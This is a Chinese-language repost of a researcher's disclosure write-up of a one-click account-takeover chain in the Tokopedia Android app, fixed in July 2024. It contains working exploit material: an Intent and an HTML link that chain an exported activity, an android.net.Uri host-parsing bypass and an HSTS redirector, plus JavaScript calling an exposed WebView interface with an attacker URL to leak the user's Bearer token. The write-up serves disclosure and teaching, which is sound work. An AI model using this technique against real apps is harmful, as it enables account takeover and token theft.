我在印度尼西亚流行的 Android 应用 Tokopedia中发现了一键账户接管漏洞。该漏洞链涉及 URI 解析问题和自定义 WebView,但最终只能使用托管在 Google HSTS 预加载列表中的网络域上的有效负载进行利用。这篇博文详细探讨了该漏洞,并公开了我的免费 HSTS+HTTPS 重定向服务,这是一个利用 Android 上 URL 解析漏洞的有用工具。
设想
Tokopedia是印度尼西亚流行的电子商务网站/移动应用程序;它类似于许多其他国家的亚马逊 (并且同样无处不在)。该公司 于 2024 年 1 月被字节跳动收购 , 在 Google Play 商店的下载量超过 1 亿次。
我入侵过很多 Android 应用程序 (RIP GPSRP),但我通常没有机会/权限在这个领域发布我的发现。2024 年 6 月,我在 Tokopedia Android 客户端中发现了一个高严重性漏洞,并将其报告给了字节跳动。尽管 Tokopedia 客户端不包含在 HackerOne 上的 ByteDance/TikTok 漏洞赏金计划中,但 字节跳动安全团队沟通非常顺畅,并迅速采取行动来验证、分类和缓解问题。他们还非常好心地允许我在漏洞修复后发布我的发现。
注意:本博客文章中的所有研究均与截至 2024 年 7 月 2 日的 Tokopedia Android 应用程序的最新版本相关(根据应用程序清单, com.tokopedia.tkpd 版本为 3.270.0 / 320327001 ;可从APKMirror 直接下载 )。所有代码片段都已清理以提高可读性,并且任何混淆的类名都应与上述应用程序版本相关。
入口点
通常,在任何 Android 应用程序评估中,首先要查看的是 应用程序清单 ( AndroidManifest.xml )。在清单中,我看到了以下导出的 Activity:
<!-- ... -->
<activity ... android:exported="true" ...
android:name="com.tokopedia.navigation.presentation.activity.NewMainParentActivity"
... >
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.BROWSABLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data
android:scheme="tokopedia-android-internal"
android:host="home"
android:path="navigation"
/>
</intent-filter>
<!-- ... -->
让我们来分析一下。应用导出 NewMainParentActivity 类;这意味着该组件可以由应用外部的代码触发。Intent 过滤器 指示 Activity 可以通过 Intent 启动,该 Intent 具有android.intent.action.VIEW 操作,其中包含以下格式的 URI :
tokopedia-android-internal://home/navigation
这可以通过另一个 Android 应用程序中的活动触发,如下所示:
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("tokopedia-android-internal://home/navigation"));
startActivity(intent);
但是,有一种更简单的方法来触发符合过滤条件的 Intent:点击超链接(例如,在网络浏览器中)。例如,以下 HTML 代码创建一个超链接,当在 Chrome 网络浏览器中点击时会触发 Activity :
<a href="tokopedia-android-internal://home/navigation">Click me!</a>
这是应用程序的入口点,但导出的组件是 Android 应用程序的标准行为,并不一定表示存在漏洞。接下来我必须调查NewMainParentActivity类的行为。
应用导航
从onNewIntent跟踪代码路径 ,我发现应用程序解析了一个 Intent extra :
// ...
String applink = intent.getStringExtra("EXTRA_APPLINK");
// ...
com.tokopedia.applink.o.x(this, applink, new String[0]);
EXTRA_APPLINK值是第二个 tokopedia-android-internal:// URL,由自定义导航机制提取,以确定导航到应用程序的哪个功能。代码路径有点太复杂,无法在本博文中展示,但我做了一些初步分析,发现有 400 多个不同的“应用程序链接”URL 可触发应用程序内的不同机制。
在花了一些时间测试不同的看起来很有趣的“应用程序链接”之后,我遇到了这个:
tokopedia-android-internal://user/webview-kyc
使用 Frida工具,我发现此 URL 会触发另一个活动 com.tokopedia.kyc_centralized.ui.gotoKyc.webview.WebviewWithGotoKycActivity ,该活动未 在应用清单中导出。虽然这种行为仍然很常见(也不一定表示存在漏洞),但当您访问未导出的组件时,事情往往会开始变得有趣。
当我尝试调查 WebviewWithGotoKycActivity 类时,我在 APK 反编译输出的任何地方都找不到它。这可能是代码混淆的结果,也可能与应用程序使用的自定义运行时代码修补机制有关(虽然与本文无关,但代码修补机制非常有趣 - 它会将填充程序注入应用程序的几乎每个函数中,并检查运行时是否有可用的补丁)。我没有花时间试图弄清楚为什么 反编译输出中缺少该类。相反,我使用 frida-dexdump 在运行时从内存中转储所有应用程序代码,然后使用grep 确定哪个 DEX 文件包含该类,然后反编译该 文件进行分析。
WebviewWithGotoKycActivity继承自com.tokopedia.webview.BaseSimpleWebViewActivity ,其中包含一个 带有自定义 WebView ( com.tokopedia.webview.TkpdWebView ) 的自定义Fragment 。自定义 WebView 通常会暴露敏感功能,因此如果我可以将恶意网站加载到TkpdWebView中,这似乎是一个很好的利用目标。要将 URL 加载到TkpdWebView中,需要在触发WebviewWithGotoKycActivity 的 Intent URL 的url查询参数中指定目标 URL (我们现在将使用https://example.com 作为占位符):
tokopedia-android-internal://user/webview-kyc?url=https://example.com
-
tokopedia-android-internal://home/navigation:包含由另一个应用程序或点击链接触发的 Intent;这将打开 NewMainParentActivity 。 -
tokopedia-android-internal://user/webview-kyc?url= ${URL3}:存储在 Intent 的 EXTRA_APPLINK额外内容中;这由NewMainParentActivity解析以打开 WebviewWithGotoKycActivity 。 -
https://example.com:包含在第二个 URL 的url参数中;由TkpdWebView 加载 。
扩展我们前面的示例,以下代码片段将从另一个应用程序触发自定义 WebView :
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("tokopedia-android-internal://home/navigation"));
intent.putExtra("EXTRA_APPLINK", "tokopedia-android-internal://user/webview-kyc?url=https://example.com");
startActivity(intent);
不幸的是,这并不是全部(很少是全部)。当我将https://tokopedia.com/robots.txt加载到TkpdWebView时,它的行为符合预期:
Tokopedia 的robots.txt已加载到 TkpdWebView中。
但是,当我尝试将https://example.com加载 到 WebView 中时,它却在默认浏览器应用(Chrome)中打开了该 URL。这表明该应用在将 URL 加载到自定义 WebView 之前正在执行 URL 验证。
URL 验证
回到代码中,我发现BaseSimpleWebViewActivity 使用以下函数检查 URL (请注意,这些方法已被截断并重命名以便于阅读):
public final boolean is_tokopedia_url(String url) {
// ...
String host = this.get_host(url);
return x.ends_with(host, ".tokopedia.com", false, 2, null) || kotlin.jvm.internal.s.equals(host, "tokopedia.com");
}
public final String get_host(String url) {
// ...
String host = Uri.parse(url).getHost();
if(host != null) {
if(x.starts_with(host, "www.", false, 2, null)) {
host = host.substring(4);
// ...
return host;
}
return host;
}
return "";
}
此代码提取 URL 的域名/主机名部分,并检查它是否是tokopedia.com 的子域名。如果 is_tokopedia_url返回true ,则将 URL 加载到自定义 WebView 中;否则,将在外部 Web 浏览器中打开 URL。
这种验证机制乍一看似乎很强大,但它有一个致命的缺陷:它使用android.net.Uri 类来解析 URL。根据Uri 类文档:
出于性能考虑,此类几乎不执行任何验证。对于无效输入,行为未定义。此类非常宽容 - 面对无效输入,它将返回垃圾而不是抛出异常,除非另有说明。
换句话说,Uri类对于某些输入可能表现得不太直观。因此,许多 Android 漏洞都是 在安全关键上下文中 使用Uri类而产生的。
例如,假设在 使用以下字符串数据构造的Uri对象上调用getHost :
attacker.com?://victim.com/
Uri类返回主机名victim.com ,而attack.com?:// 被解析为协议/方案。乍一看这可能并不奇怪,但如果您在 Web 浏览器中输入相同的 URL,会发生什么?在所有“主流”Web 浏览器上,上述 URL 实际上解析为以下内容:
http://attacker.com/?://victim.com/
如果未提供协议,Web 浏览器将假定协议为http:// (除了稍后将讨论的特定场景)。这很重要;使用Uri 类解析恶意 URL 的代码将期望连接到 victim.com,但如果将相同的 URL 传递给浏览器(例如,自定义 WebView),浏览器实际上将加载 attack.com。
了解了所有这些之后,我尝试使用以下 URL 将example.com加载到 TkpdWebView中:
example.com?://tokopedia.com/
不幸的是,我再次被挫败,但这次的行为有所不同:应用程序没有将 URL 加载到外部 Web 浏览器中,而是直接加载了默认的应用程序主屏幕(我的 URL 似乎被忽略了)。显然,我错过了更多的 URL 验证。
我在自定义 Fragment 类中发现了更多的 URL 验证:
public final String get_url(Bundle args) {
// ...
String url = ke4.b.url_decode(args.getString("url", "https://www.tokopedia.com/"));
return url.startsWith("http") ? url : "https://www.tokopedia.com/";}
如果 URL 不是以“ http ”开头,则应用会加载 Tokopedia 主页。这很容易绕过;我没有使用example.com进行测试,而是使用了 http.com (或任何其他以“ http ”开头的域名):
http.com?://tokopedia.com/
再次,应用程序显示出不同的行为,但不是我想要的行为:
尝试加载纯文本 HTTP URL 会导致 net::ERR_CLEARTEXT_NOT_PERMITTED 。
如上所述,如果未指定协议,浏览器和 WebView 会自动在 URL 前面 添加“ http:// ”。在 Android 9 及更高版本中,默认安全设置会阻止 WebView 加载纯文本 HTTP URL。可以使用 带有 cleartextTrafficPermitted="true"的网络安全配置来覆盖此设置,但不建议这样做。在 Tokopedia 的案例中,该应用未 配置为允许纯文本流量,导致net::ERR_CLEARTEXT_NOT_PERMITTED错误。
我需要一种方法来加载 HTTP S URL,但由于我的 URL 验证绕过技术,我无法在 URL 字符串中指定协议。幸运的是,我在 Android 安全领域花了很多时间,我已经为这种情况做好了准备。
HTTP 严格传输安全
在继续之前,了解 HTTP 严格传输安全(HSTS) 非常重要。有很多 资源 可以学习 HSTS,因此我在这里只提供简要说明。
HSTS 是一种浏览器安全机制,即使用户输入以“ http:// ”开头的 URL,它也会阻止使用纯文本 HTTP 。如果服务器启用了 HSTS,它会发送如下 HTTP 响应标头:
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
https://httpsredirector.com/?u=https://example.com
https://httpsredirector.com/#u=https://example.com
上述两个示例都将重定向到example.com (请注意,可以使用查询参数或 URL 片段 指定目标 URL )。该服务静态托管在GitHub Pages上 ,因为我不想处理动态后端;不幸的是,这意味着它仅支持 JavaScript 和 HTML 重定向(而不是 HTTP 300 重定向)。即便如此,它对我来说仍然非常有用。
使用我的 HSTS 重定向器,我可以轻松绕过 Tokopedia 的 URL 验证,并 使用如下 URL 避免 ERR_CLEARTEXT_NOT_PERMITTED错误:
httpsredirector.com?://tokopedia.com/&u=https://example.com
再次扩展我们之前的示例,以下代码片段展示了另一个应用程序如何使用此 URL 负载来攻击 Tokopedia 应用程序:
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("tokopedia-android-internal://home/navigation"));
intent.putExtra("EXTRA_APPLINK", "tokopedia-android-internal://user/webview-kyc?url=httpsredirector.com%3f%3a%2f%2ftokopedia.com%2f%26u%3dhttps%253a%252f%252fexample.com");
startActivity(intent);
正如我之前提到的,单击超链接也可以触发此行为。以下 HTML 代码片段显示了这种情况(并不美观):
<a href="intent:tokopedia-android-internal://home/navigation#Intent;action=com.tokopedia.internal.VIEW;S.EXTRA_APPLINK=tokopedia-android-internal://user/webview-kyc?url%3dhttpsredirector.com%253f%253a%252f%252ftokopedia.com%2523u%253dhttps%253a%252f%252fexample.com;end">Exploit Tokopedia</a>
无论如何,经过大量努力,我能够将任意网站加载到 TkpdWebView中:
成功!https: //example.com 已加载到TkpdWebView中。
即使做了这么多工作,我还是没有找到漏洞的证据。虽然将任意网站加载到 TkpdWebView中 肯定不是理想的行为,但除非我能利用它造成显著影响,否则它就不符合披露标准。
身份验证令牌泄露
当加载到 WebviewWithGotoKycActivity中时, TkpdWebView会 向呈现的网站 公开自定义 JavaScript API 。此 API 包括一个全局对象OneKycAndroidInterface ,其函数具有以下原型:
getOneKycUserDetails(baseUrl, arg2, arg3)
网站可以使用如下 JavaScript 代码调用该函数:
OneKycAndroidInterface.getOneKycUserDetails('https://attacker.com', 'arg2', 'arg3');
这会触发对指定 URL 的 HTTP 请求(据我所知,此功能中没有任何 URL 验证)。为了测试该机制,我建立了一个“恶意”网站,将其加载到 TkpdWebView中,并 使用 Burp Collaborator域作为第一个参数调用getOneKycUserDetails 。在 Burp 中查看请求时,我看到了以下内容:
GET /onekyc/v1/users/address-details HTTP/1.1
x-onekyc-token: arg2
x-onekyc-partner: arg3
tracestate: [redacted]
traceparent: [redacted]
newrelic: [redacted]
x-project-id:
X-Tkpd-App-Name: com.tokopedia.tkpd
X-Device: android-3.270.0
Accounts-Authorization: Bearer [redacted]
X-Datavisor: [redacted]
x-user-locale: id_ID
x-onekyc-sdk-version: 2.4.9
x-onekyc-sdk-platform: Android
x-onekyc-sdk-host-version: 3.270.0
x-onekyc-sdk-host: TOKOPEDIA_CUSTOMER
x-onekyc-sdk-host-appId: com.tokopedia.tkpd
Host: [redacted].oastify.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/4.10.0
X-NewRelic-ID: [redacted]
Accounts-Authorization标头 令人眼花缭乱 - 它包含我的 Tokopedia 身份验证令牌!最后,我找到了一条完整的利用路径,并确认了影响。
漏洞利用流程
此漏洞链的初始攻击媒介是通过 URL 点击;本质上,受害者只需点击链接即可利用该漏洞(例如在 Web 浏览器中)。然后,将发生以下情况:
-
Tokopedia 应用程序会自动使用NewMainParentActivity打开链接 。
-
从 Intent 中提取 EXTRA_APPLINK值并进行解析,触发WebviewWithGotoKycActivity 。
-
url 参数被解析和验证。如果 URL 通过了所有验证检查,它将被加载到 TkpdWebView中。
-
该恶意网站使用客户端 JavaScript 执行 OneKycAndroidInterface.getOneKycUserDetails ,第一个参数为攻击者控制的 URL。
-
该应用程序使用Accounts-Authorization标头中的受害者的 Tokopedia 身份验证令牌向攻击者控制的主机发出 HTTP 请求 。
一旦攻击者收到令牌,他们就可以使用它通过受害者的帐户向 Tokopedia 后端发出经过身份验证的请求。
为了将所有这些结合起来, 我录制了一个演示视频, 以展示现实世界的利用情况:
披露时间表
完整披露时间表如下:
2024-06-14:漏洞链的最终发现以及与字节跳动安全团队的首次接触
2024-06-17:通过电子邮件( [email protected] )向字节跳动发送初始披露/撰写。
2024-06-20 至 2024-07-03:有关复制、影响、公开披露等的各种电子邮件通信。
2024-07-19:Tokopedia Android 应用程序版本 3.273.0 / 320327301 发布,修复了该漏洞。
2024-07-19:我向(现已停用)Google Play 安全奖励计划(GPSRP) 报告了此漏洞,并获得了 500 美元的赏金。
另外,我要感谢字节跳动安全团队在负责任的披露过程中保持高度沟通和快速响应。在他们的帮助下,我发现的漏洞被转发给必要的利益相关者,并在合理的时间内得到缓解。
原文始发于微信公众号(Ots安全):借助 HSTS 来利用 Android 客户端 WebView
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论